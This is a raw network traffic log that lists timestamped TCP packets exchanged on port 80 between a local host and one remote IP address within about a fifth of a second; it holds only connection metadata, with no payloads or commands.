Nov 27, 2022 04:36:40.113406897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113430977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113462925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113468885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113492012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113531113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113782883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113815069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113842964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113867044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113868952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113895893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113910913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113923073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113950968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.113960028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.113981009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114010096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114016056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114039898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114068031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114075899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114097118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114125013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114132881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114152908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114181995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114190102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114214897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114244938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114253998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114273071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114300966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114308119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114327908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114353895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114371061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114378929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114408016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114417076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114434958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114464045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114475965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114737034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114768982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114790916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114795923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114826918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114839077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114855051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114892960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114900112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114928961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114958048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.114967108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.114989996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115019083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115025997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115046024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115073919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115089893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115102053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115128994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115139008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115156889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115185976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115194082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115216970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115246058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115256071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115274906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115305901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115314007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115335941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115364075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115371943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115395069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115423918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115432024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115449905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115494967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115720987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115751028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115798950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115804911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115827084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115856886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115868092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115885019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115916014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115921974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.115943909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115973949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.115981102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116004944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116034985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116039038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116065025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116096020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116101980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116126060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116156101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116182089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116183043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116211891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116219997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116238117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116264105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116287947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116292000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116321087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116332054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116350889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116380930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116389036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.116409063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116437912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.116452932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.130673885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130716085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130733967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130750895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130768061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130784988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130805016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130822897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130841017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130852938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.130861044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130903006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.130903959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130927086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.130927086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130959988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130970001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.130975008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.130989075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131002903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131016016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131028891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131045103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131057978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131076097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131089926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131108046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131108999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131139040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131139994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131160021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131172895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131177902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131197929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131201029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131222010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131244898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131438017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131458044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131481886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131486893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131501913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131520033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131522894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131541967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131560087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131562948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131581068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131596088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131599903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131619930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131635904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131638050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131656885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131675959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131675959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131695032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131711006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131714106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131733894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131747007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131752014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131772041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131786108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131788969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131809950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131822109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131828070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131845951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131863117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131871939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131881952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131899118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.131902933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.131938934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132420063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132438898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132461071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132489920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132507086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132523060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132534027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132534981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132553101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132572889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132577896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132592916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132611990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132612944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132632971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132648945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132652044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132671118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132685900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132689953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132709026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132724047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132726908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132756948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132775068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132776022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132796049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132813931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132816076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132832050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132849932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132850885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132869959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132886887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132889986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.132905960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.132925034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133445024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133464098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133491039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133595943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133615017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133632898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133634090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133652925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133671045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133671999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133692026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133701086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133709908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133728981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133744955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133747101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133768082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133784056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133785009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133804083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133829117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133841038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133863926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133873940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.133888006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133910894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.133922100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134021997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134046078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134059906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134071112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134093046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134104967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134115934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134139061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134152889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134162903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134197950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134322882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134346962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134368896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134385109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134392023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134416103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134428978 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134439945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134463072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134475946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134486914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134510994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134520054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134535074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134557962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134569883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134584904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134609938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134622097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134633064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134656906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134670019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134679079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134702921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134713888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134727001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134748936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134761095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134772062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134795904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134804964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134819031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134841919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134855032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.134865046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134902954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.134902954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135318041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135340929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135365963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135370016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135390997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135406971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135415077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135441065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135449886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135466099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135488033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135502100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135512114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135533094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135545969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135555983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135581970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135593891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135605097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135628939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135643005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135651112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135675907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135688066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135698080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135720968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135734081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135744095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135767937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135781050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135790110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135814905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135828018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.135837078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.135860920 CET	80	49705	66.235.200.147	192.168.2.5
